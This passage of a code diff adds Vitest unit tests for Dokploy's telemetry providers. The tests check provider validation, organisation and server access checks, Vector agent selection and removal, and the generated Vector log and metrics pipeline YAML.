||||
);
|
||||
});
|
||||
|
||||
it("merges a partial extraConfig update instead of replacing it wholesale", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "es-prod",
|
||||
providerType: "elasticsearch",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://es.example.com:9200",
|
||||
apiKey: "secret",
|
||||
apiSecret: null,
|
||||
extraConfig: { username: "elastic", index: "custom-index" },
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
|
||||
|
||||
await updateTelemetryProvider("lp-1", {
|
||||
extraConfig: { username: "new-user" },
|
||||
});
|
||||
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
extraConfig: { username: "new-user", index: "custom-index" },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("clears extraConfig entirely when explicitly set to null, instead of merging", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "es-prod",
|
||||
providerType: "elasticsearch",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://es.example.com:9200",
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: { username: "elastic" },
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
|
||||
|
||||
await updateTelemetryProvider("lp-1", { extraConfig: null });
|
||||
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ extraConfig: null }),
|
||||
);
|
||||
});
|
||||
|
||||
it("clears an optional credential when it is explicitly set to null", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki-prod",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: "old-token",
|
||||
apiSecret: null,
|
||||
extraConfig: { username: "user" },
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
|
||||
|
||||
await updateTelemetryProvider("lp-1", { apiKey: null });
|
||||
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ apiKey: null }),
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects clearing the elasticsearch password while a username stays saved", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "es-prod",
|
||||
providerType: "elasticsearch",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://es.example.com:9200",
|
||||
apiKey: "old-password",
|
||||
apiSecret: null,
|
||||
extraConfig: { username: "elastic" },
|
||||
});
|
||||
|
||||
await expect(
|
||||
updateTelemetryProvider("lp-1", { apiKey: null }),
|
||||
).rejects.toThrow(/Password/);
|
||||
});
|
||||
|
||||
it("rejects a providerType change that doesn't satisfy the new type's required fields", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "dd-prod",
|
||||
providerType: "datadog",
|
||||
signals: ["logs"],
|
||||
endpoint: null,
|
||||
apiKey: "old-datadog-key",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
});
|
||||
|
||||
await expect(
|
||||
updateTelemetryProvider("lp-1", { providerType: "loki" }),
|
||||
).rejects.toThrow(/endpoint/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertSignalsSupported", () => {
|
||||
it("rejects a repeated signal", () => {
|
||||
expect(() => assertSignalsSupported("loki", ["logs", "logs"])).toThrow(
|
||||
/only be selected once/,
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a signal the type cannot send", () => {
|
||||
expect(() => assertSignalsSupported("loki", ["metrics"])).toThrow(
|
||||
/Grafana Loki cannot send metrics/,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts a supported subset", () => {
|
||||
expect(() => assertSignalsSupported("loki", ["logs"])).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("createTelemetryProvider — signals", () => {
|
||||
it("rejects a provider whose type cannot send the selected signal", async () => {
|
||||
mocks.insertValues.mockClear();
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
signals: ["metrics"],
|
||||
endpoint: "https://loki.example.com",
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/cannot send metrics/);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertProvidersBelongToOrg", () => {
|
||||
beforeEach(() => {
|
||||
mocks.findMany.mockResolvedValue([
|
||||
{
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki",
|
||||
enabled: true,
|
||||
signals: ["logs"],
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("accepts a provider of the organization regardless of what it sends", async () => {
|
||||
await expect(
|
||||
assertProvidersBelongToOrg(["lp-1"], "org-1"),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects an id that is not in the organization", async () => {
|
||||
await expect(
|
||||
assertProvidersBelongToOrg(["lp-9"], "org-1"),
|
||||
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
|
||||
});
|
||||
|
||||
it("rejects a selection where every provider is disabled", async () => {
|
||||
mocks.findMany.mockResolvedValue([
|
||||
{
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki",
|
||||
enabled: false,
|
||||
signals: ["logs"],
|
||||
},
|
||||
]);
|
||||
await expect(assertProvidersBelongToOrg(["lp-1"], "org-1")).rejects.toThrow(
|
||||
/at least one enabled provider/,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("required fields scoped to a signal", () => {
|
||||
beforeEach(() => {
|
||||
mocks.insertValues.mockReset();
|
||||
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "cw-1" }]);
|
||||
});
|
||||
|
||||
it("does not require the log group when only metrics are selected", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["metrics"],
|
||||
apiKey: "AKIA",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
|
||||
});
|
||||
|
||||
it("does not require the metrics namespace when only logs are selected", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs"],
|
||||
apiKey: "AKIA",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
|
||||
});
|
||||
|
||||
it("requires the metrics namespace when metrics are selected", async () => {
|
||||
await expect(
|
||||
createTelemetryProvider(
|
||||
{
|
||||
name: "cw",
|
||||
providerType: "aws_cloudwatch",
|
||||
signals: ["logs", "metrics"],
|
||||
apiKey: "AKIA",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
|
||||
} as any,
|
||||
"org-1",
|
||||
),
|
||||
).rejects.toThrow(/Metrics namespace/);
|
||||
expect(mocks.insertValues).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("signals are stored in a fixed order", () => {
|
||||
it("normalizes the order on create", async () => {
|
||||
mocks.insertValues.mockReset();
|
||||
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
|
||||
|
||||
await createTelemetryProvider(
|
||||
{
|
||||
name: "dd",
|
||||
providerType: "datadog",
|
||||
signals: ["metrics", "logs"],
|
||||
apiKey: "dd-key",
|
||||
} as any,
|
||||
"org-1",
|
||||
);
|
||||
|
||||
expect(mocks.insertValues).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ signals: ["logs", "metrics"] }),
|
||||
);
|
||||
});
|
||||
|
||||
it("normalizes the order on update", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "dd-1",
|
||||
name: "dd",
|
||||
providerType: "datadog",
|
||||
signals: ["logs"],
|
||||
endpoint: null,
|
||||
apiKey: "dd-key",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
});
|
||||
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
|
||||
|
||||
await updateTelemetryProvider("dd-1", { signals: ["metrics", "logs"] });
|
||||
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ signals: ["logs", "metrics"] }),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("testTelemetryProviderConnection by id", () => {
|
||||
it("tests the saved provider with the signals override from the form", async () => {
|
||||
mocks.findFirst.mockResolvedValue({
|
||||
telemetryProviderId: "bs-1",
|
||||
name: "bs",
|
||||
providerType: "betterstack",
|
||||
signals: ["logs"],
|
||||
endpoint: "in.logs.betterstack.com",
|
||||
apiKey: "token",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
});
|
||||
const spy = vi
|
||||
.spyOn(telemetryProviderAdapters.betterstack, "testConnection")
|
||||
.mockResolvedValue(undefined);
|
||||
|
||||
await testTelemetryProviderConnection({
|
||||
telemetryProviderId: "bs-1",
|
||||
signals: ["logs", "metrics"],
|
||||
});
|
||||
|
||||
expect(spy).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
apiKey: "token",
|
||||
signals: ["logs", "metrics"],
|
||||
}),
|
||||
);
|
||||
spy.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
describe("updateTelemetryProvider — signals", () => {
|
||||
const existing = {
|
||||
telemetryProviderId: "dd-1",
|
||||
name: "datadog",
|
||||
providerType: "datadog",
|
||||
signals: ["logs", "metrics"],
|
||||
endpoint: null,
|
||||
apiKey: "dd-key",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.updateSet.mockReset();
|
||||
mocks.serverFindFirst.mockReset();
|
||||
mocks.webServerFindFirst.mockReset();
|
||||
mocks.findFirst.mockResolvedValue(existing);
|
||||
mocks.updateSet.mockReturnValue([{ ...existing, signals: ["metrics"] }]);
|
||||
});
|
||||
|
||||
it("allows removing a signal while the provider is assigned and returns its targets to re-apply", async () => {
|
||||
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
|
||||
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
|
||||
|
||||
await expect(
|
||||
updateTelemetryProvider("dd-1", { signals: ["metrics"] }),
|
||||
).resolves.toMatchObject({
|
||||
provider: { signals: ["metrics"] },
|
||||
targets: ["server-1", null],
|
||||
});
|
||||
expect(mocks.updateSet).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ signals: ["metrics"] }),
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a type change that cannot send the saved signals", async () => {
|
||||
await expect(
|
||||
updateTelemetryProvider("dd-1", {
|
||||
providerType: "loki",
|
||||
endpoint: "https://loki.example.com",
|
||||
}),
|
||||
).rejects.toThrow(/Grafana Loki cannot send metrics/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,305 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
setWebServerProviderIds: vi.fn(),
|
||||
setServerProviderIds: vi.fn(),
|
||||
getAccessibleServerIds: vi.fn(),
|
||||
reconcileVectorAgent: vi.fn(),
|
||||
removeVectorAgent: vi.fn(),
|
||||
findServerById: vi.fn(),
|
||||
assertProvidersBelongToOrg: vi.fn(),
|
||||
}));
|
||||
|
||||
const loadAgent = async (isCloud: boolean) => {
|
||||
vi.resetModules();
|
||||
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
|
||||
vi.doMock("@dokploy/server/services/server", () => ({
|
||||
findServerById: mocks.findServerById,
|
||||
setServerProviderIds: mocks.setServerProviderIds,
|
||||
getAccessibleServerIds: mocks.getAccessibleServerIds,
|
||||
}));
|
||||
vi.doMock("@dokploy/server/services/web-server-settings", () => ({
|
||||
setWebServerProviderIds: mocks.setWebServerProviderIds,
|
||||
}));
|
||||
const locks = new Map<string, Promise<unknown>>();
|
||||
vi.doMock("@dokploy/server/setup/vector-setup", () => ({
|
||||
LOCAL_SERVER_NAME: "Dokploy Server (local)",
|
||||
reconcileVectorAgent: mocks.reconcileVectorAgent,
|
||||
removeVectorAgent: mocks.removeVectorAgent,
|
||||
withVectorTargetLock: (
|
||||
serverId: string | undefined,
|
||||
fn: () => Promise<unknown>,
|
||||
) => {
|
||||
const key = serverId ?? "local";
|
||||
const current = (locks.get(key) ?? Promise.resolve())
|
||||
.catch(() => {})
|
||||
.then(fn);
|
||||
locks.set(key, current);
|
||||
return current;
|
||||
},
|
||||
}));
|
||||
vi.doMock("@dokploy/server/services/logs-and-metrics/service", () => ({
|
||||
assertProvidersBelongToOrg: mocks.assertProvidersBelongToOrg,
|
||||
}));
|
||||
return await import("@dokploy/server/services/logs-and-metrics/vector-agent");
|
||||
};
|
||||
|
||||
const sessionA = { userId: "user-a", activeOrganizationId: "org-a" };
|
||||
const sessionB = { userId: "user-b", activeOrganizationId: "org-b" };
|
||||
|
||||
beforeEach(() => {
|
||||
for (const mock of Object.values(mocks)) mock.mockReset();
|
||||
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-1"]));
|
||||
mocks.findServerById.mockImplementation(async (serverId: string) => ({
|
||||
serverId,
|
||||
name: `name-of-${serverId}`,
|
||||
organizationId: "org-a",
|
||||
sshKeyId: "key-1",
|
||||
}));
|
||||
mocks.setWebServerProviderIds.mockResolvedValue({ id: "ws-1" });
|
||||
mocks.setServerProviderIds.mockResolvedValue({ serverId: "server-1" });
|
||||
});
|
||||
|
||||
describe("applyVectorAgentSelection on the local host", () => {
|
||||
it("rejects the local host in cloud without touching the database", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(true);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionA, undefined, ["lp-1"]),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
expect(mocks.setWebServerProviderIds).not.toHaveBeenCalled();
|
||||
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects with CONFLICT when another organization owns the local agent, without reconciling", async () => {
|
||||
mocks.setWebServerProviderIds.mockResolvedValue(null);
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionB, undefined, ["mp-1"]),
|
||||
).rejects.toMatchObject({ code: "CONFLICT" });
|
||||
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-b", [
|
||||
"mp-1",
|
||||
]);
|
||||
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("saves the selection and then reconciles", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await applyVectorAgentSelection(sessionA, undefined, ["lp-1"]);
|
||||
expect(mocks.assertProvidersBelongToOrg).toHaveBeenCalledWith(
|
||||
["lp-1"],
|
||||
"org-a",
|
||||
);
|
||||
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", [
|
||||
"lp-1",
|
||||
]);
|
||||
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
|
||||
expect(
|
||||
mocks.setWebServerProviderIds.mock.invocationCallOrder[0],
|
||||
).toBeLessThan(mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0);
|
||||
});
|
||||
|
||||
it("removing the agent saves an empty selection without checking providers", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await applyVectorAgentSelection(sessionA, undefined, []);
|
||||
expect(mocks.assertProvidersBelongToOrg).not.toHaveBeenCalled();
|
||||
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", []);
|
||||
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
|
||||
});
|
||||
});
|
||||
|
||||
describe("applyVectorAgentSelection on a remote server", () => {
|
||||
it("still manages remote servers in cloud", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(true);
|
||||
|
||||
const result = await applyVectorAgentSelection(sessionA, "server-1", []);
|
||||
expect(result).toEqual({ serverName: "name-of-server-1" });
|
||||
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", []);
|
||||
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
|
||||
});
|
||||
|
||||
it("rejects a server of another organization", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
serverId: "server-1",
|
||||
organizationId: "org-b",
|
||||
sshKeyId: "key-1",
|
||||
});
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
|
||||
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
|
||||
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a server without an SSH key before saving anything", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
serverId: "server-1",
|
||||
organizationId: "org-a",
|
||||
sshKeyId: null,
|
||||
});
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
|
||||
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a server the member cannot access", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionA, "server-2", ["lp-1"]),
|
||||
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
|
||||
expect(mocks.getAccessibleServerIds).toHaveBeenCalledWith(sessionA);
|
||||
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
|
||||
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("saves the array and only then reconciles", async () => {
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await applyVectorAgentSelection(sessionA, "server-1", ["mp-1"]);
|
||||
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
|
||||
"mp-1",
|
||||
]);
|
||||
expect(mocks.setServerProviderIds.mock.invocationCallOrder[0]).toBeLessThan(
|
||||
mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0,
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps the saved selection when the reconcile fails", async () => {
|
||||
mocks.reconcileVectorAgent.mockRejectedValue(
|
||||
new Error("validation failed"),
|
||||
);
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
|
||||
).rejects.toThrow("validation failed");
|
||||
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
|
||||
"lp-2",
|
||||
]);
|
||||
});
|
||||
|
||||
it("serializes concurrent selections on the same host so the last reconcile sees the last selection", async () => {
|
||||
const saved: string[][] = [];
|
||||
const seen: string[][] = [];
|
||||
mocks.setServerProviderIds.mockImplementation(
|
||||
async (_serverId: string, ids: string[]) => {
|
||||
saved.push(ids);
|
||||
return { serverId: "server-1" };
|
||||
},
|
||||
);
|
||||
mocks.reconcileVectorAgent.mockImplementation(async () => {
|
||||
seen.push(saved.at(-1) ?? []);
|
||||
await new Promise((resolve) => setTimeout(resolve, 20));
|
||||
});
|
||||
const { applyVectorAgentSelection } = await loadAgent(false);
|
||||
|
||||
await Promise.all([
|
||||
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
|
||||
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
|
||||
]);
|
||||
expect(seen).toEqual([["lp-1"], ["lp-2"]]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("removeServerVectorAgent", () => {
|
||||
it("removes the agent on server deletion when providers are assigned", async () => {
|
||||
const { removeServerVectorAgent } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
removeServerVectorAgent({
|
||||
serverId: "server-1",
|
||||
sshKeyId: "key-1",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
} as never),
|
||||
).resolves.toBeUndefined();
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
|
||||
});
|
||||
|
||||
it("attempts cleanup even with an empty selection, since a failed Remove can leave the agent running", async () => {
|
||||
const { removeServerVectorAgent } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
removeServerVectorAgent({
|
||||
serverId: "server-1",
|
||||
sshKeyId: "key-1",
|
||||
telemetryProviderIds: [],
|
||||
} as never),
|
||||
).resolves.toBeUndefined();
|
||||
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
|
||||
});
|
||||
|
||||
it("skips servers without an SSH key, warning when providers were assigned", async () => {
|
||||
const { removeServerVectorAgent } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
removeServerVectorAgent({
|
||||
serverId: "server-1",
|
||||
sshKeyId: null,
|
||||
telemetryProviderIds: [],
|
||||
} as never),
|
||||
).resolves.toBeUndefined();
|
||||
await expect(
|
||||
removeServerVectorAgent({
|
||||
serverId: "server-1",
|
||||
sshKeyId: null,
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
} as never),
|
||||
).resolves.toMatch(/no SSH key/);
|
||||
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns the failure as a message instead of throwing", async () => {
|
||||
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
|
||||
const { removeServerVectorAgent } = await loadAgent(false);
|
||||
|
||||
await expect(
|
||||
removeServerVectorAgent({
|
||||
serverId: "server-1",
|
||||
sshKeyId: "k",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
} as never),
|
||||
).resolves.toBe("docker down");
|
||||
});
|
||||
});
|
||||
|
||||
describe("reconcileVectorTargets", () => {
|
||||
it("re-applies every target under its lock and reports failures as a warning", async () => {
|
||||
mocks.reconcileVectorAgent.mockImplementation(async (serverId?: string) => {
|
||||
if (serverId === "server-2") throw new Error("ssh down");
|
||||
});
|
||||
const { reconcileVectorTargets } = await loadAgent(false);
|
||||
|
||||
const warning = await reconcileVectorTargets([
|
||||
"server-1",
|
||||
"server-2",
|
||||
null,
|
||||
]);
|
||||
expect(mocks.reconcileVectorAgent.mock.calls.map((c) => c[0])).toEqual([
|
||||
"server-1",
|
||||
"server-2",
|
||||
undefined,
|
||||
]);
|
||||
expect(warning).toBe(
|
||||
"The Vector agent could not be re-applied on server-2: ssh down",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns no warning when every target reconciles, and skips the local host in cloud", async () => {
|
||||
const { reconcileVectorTargets } = await loadAgent(true);
|
||||
|
||||
await expect(
|
||||
reconcileVectorTargets(["server-1", null]),
|
||||
).resolves.toBeUndefined();
|
||||
expect(mocks.reconcileVectorAgent).toHaveBeenCalledTimes(1);
|
||||
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,375 @@
|
||||
import { vrlString } from "@dokploy/server/services/logs-and-metrics/types";
|
||||
import {
|
||||
buildMetricsScopeTransformSource,
|
||||
buildVectorConfigYaml,
|
||||
collectSecretValues,
|
||||
redactSecrets,
|
||||
} from "@dokploy/server/setup/vector-setup";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { parse } from "yaml";
|
||||
|
||||
const provider = (overrides: Record<string, unknown>) =>
|
||||
({
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
endpoint: null,
|
||||
extraConfig: null,
|
||||
signals: ["logs"],
|
||||
...overrides,
|
||||
}) as any;
|
||||
|
||||
const loki = provider({
|
||||
telemetryProviderId: "loki-1",
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
endpoint: "https://loki.example.com",
|
||||
});
|
||||
|
||||
const prom = provider({
|
||||
telemetryProviderId: "prom-1",
|
||||
name: "prom",
|
||||
providerType: "prometheus_remote_write",
|
||||
signals: ["metrics"],
|
||||
endpoint: "http://prom.example.com:9090/api/v1/write",
|
||||
});
|
||||
|
||||
const datadog = provider({
|
||||
telemetryProviderId: "dd-1",
|
||||
name: "datadog",
|
||||
providerType: "datadog",
|
||||
signals: ["logs", "metrics"],
|
||||
apiKey: "dd-key",
|
||||
});
|
||||
|
||||
const build = (
|
||||
overrides: Partial<Parameters<typeof buildVectorConfigYaml>[0]>,
|
||||
) =>
|
||||
parse(
|
||||
buildVectorConfigYaml({
|
||||
logProviders: [],
|
||||
metricsProviders: [],
|
||||
serverName: "my server",
|
||||
...overrides,
|
||||
}),
|
||||
) as any;
|
||||
|
||||
describe("buildVectorConfigYaml — logs", () => {
|
||||
it("generates a source, a dokploy_scope transform and one sink per provider, and nothing for metrics", () => {
|
||||
const config = build({ logProviders: [loki] });
|
||||
|
||||
expect(config.data_dir).toBe("/var/lib/vector");
|
||||
expect(config.sources.docker_logs_source.type).toBe("docker_logs");
|
||||
expect(config.transforms.dokploy_scope.type).toBe("remap");
|
||||
expect(config.transforms.dokploy_scope.inputs).toEqual([
|
||||
"docker_logs_source",
|
||||
]);
|
||||
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
|
||||
expect(config.sinks["sink_loki-1"].type).toBe("loki");
|
||||
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
|
||||
|
||||
expect(config.sources.host_metrics_source).toBeUndefined();
|
||||
expect(config.sources.cadvisor_source).toBeUndefined();
|
||||
expect(config.transforms.dokploy_metrics_scope).toBeUndefined();
|
||||
});
|
||||
|
||||
it("chains scope -> transform -> sink for betterstack/datadog, and scope -> sink direct for loki", () => {
|
||||
const config = build({
|
||||
logProviders: [
|
||||
loki,
|
||||
provider({
|
||||
telemetryProviderId: "bs-1",
|
||||
name: "betterstack",
|
||||
providerType: "betterstack",
|
||||
endpoint: "https://in.logs.betterstack.com",
|
||||
apiKey: "token",
|
||||
}),
|
||||
datadog,
|
||||
],
|
||||
});
|
||||
|
||||
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
|
||||
expect(config.transforms["transform_bs-1"].inputs).toEqual([
|
||||
"dokploy_scope",
|
||||
]);
|
||||
expect(config.sinks["sink_bs-1"].inputs).toEqual(["transform_bs-1"]);
|
||||
expect(config.transforms["transform_dd-1"].inputs).toEqual([
|
||||
"dokploy_scope",
|
||||
]);
|
||||
expect(config.sinks["sink_dd-1"].inputs).toEqual(["transform_dd-1"]);
|
||||
});
|
||||
|
||||
it("tags every log with the server name and reads the Dokploy metadata straight off the container labels, with empty defaults for containers Dokploy did not deploy", () => {
|
||||
const config = build({ logProviders: [loki], serverName: 'srv "quoted"' });
|
||||
|
||||
expect(config.transforms.dokploy_scope.source).toBe(
|
||||
[
|
||||
'.dokploy_server = "srv \\"quoted\\""',
|
||||
'.dokploy_organization = .label."dokploy.organization.id" || ""',
|
||||
'.dokploy_project = .label."dokploy.project" || ""',
|
||||
'.dokploy_project_id = .label."dokploy.project.id" || ""',
|
||||
'.dokploy_environment = .label."dokploy.environment" || ""',
|
||||
'.dokploy_environment_id = .label."dokploy.environment.id" || ""',
|
||||
'.dokploy_application = .label."dokploy.application" || ""',
|
||||
'.dokploy_application_id = .label."dokploy.application.id" || ""',
|
||||
'.dokploy_service = .label."dokploy.service" || ""',
|
||||
].join("\n"),
|
||||
);
|
||||
});
|
||||
|
||||
it("skips a provider whose config an adapter rejects at build time, instead of failing the whole org's config", () => {
|
||||
const config = build({
|
||||
logProviders: [
|
||||
provider({
|
||||
telemetryProviderId: "broken-es",
|
||||
name: "es-broken",
|
||||
providerType: "elasticsearch",
|
||||
endpoint: "https://es.example.com:9200",
|
||||
extraConfig: { username: "elastic" },
|
||||
}),
|
||||
loki,
|
||||
],
|
||||
});
|
||||
|
||||
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
|
||||
});
|
||||
|
||||
it("only keeps containers of the owning organization on the local host, which is shared by every organization", () => {
|
||||
const config = build({ logProviders: [loki], organizationId: "org-a" });
|
||||
|
||||
expect(config.transforms.dokploy_scope_local_only).toEqual({
|
||||
type: "filter",
|
||||
inputs: ["dokploy_scope"],
|
||||
condition: '.dokploy_organization == "org-a"',
|
||||
});
|
||||
expect(config.sinks["sink_loki-1"].inputs).toEqual([
|
||||
"dokploy_scope_local_only",
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not add the organization filter for the per-server (non-local) path", () => {
|
||||
const config = build({ logProviders: [loki] });
|
||||
|
||||
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildVectorConfigYaml — metrics", () => {
|
||||
it("with only metrics providers it emits the host and cAdvisor sources and no logs pipeline", () => {
|
||||
const config = build({ metricsProviders: [prom] });
|
||||
|
||||
expect(config.sources.docker_logs_source).toBeUndefined();
|
||||
expect(config.transforms.dokploy_scope).toBeUndefined();
|
||||
expect(config.sources.host_metrics_source).toMatchObject({
|
||||
type: "host_metrics",
|
||||
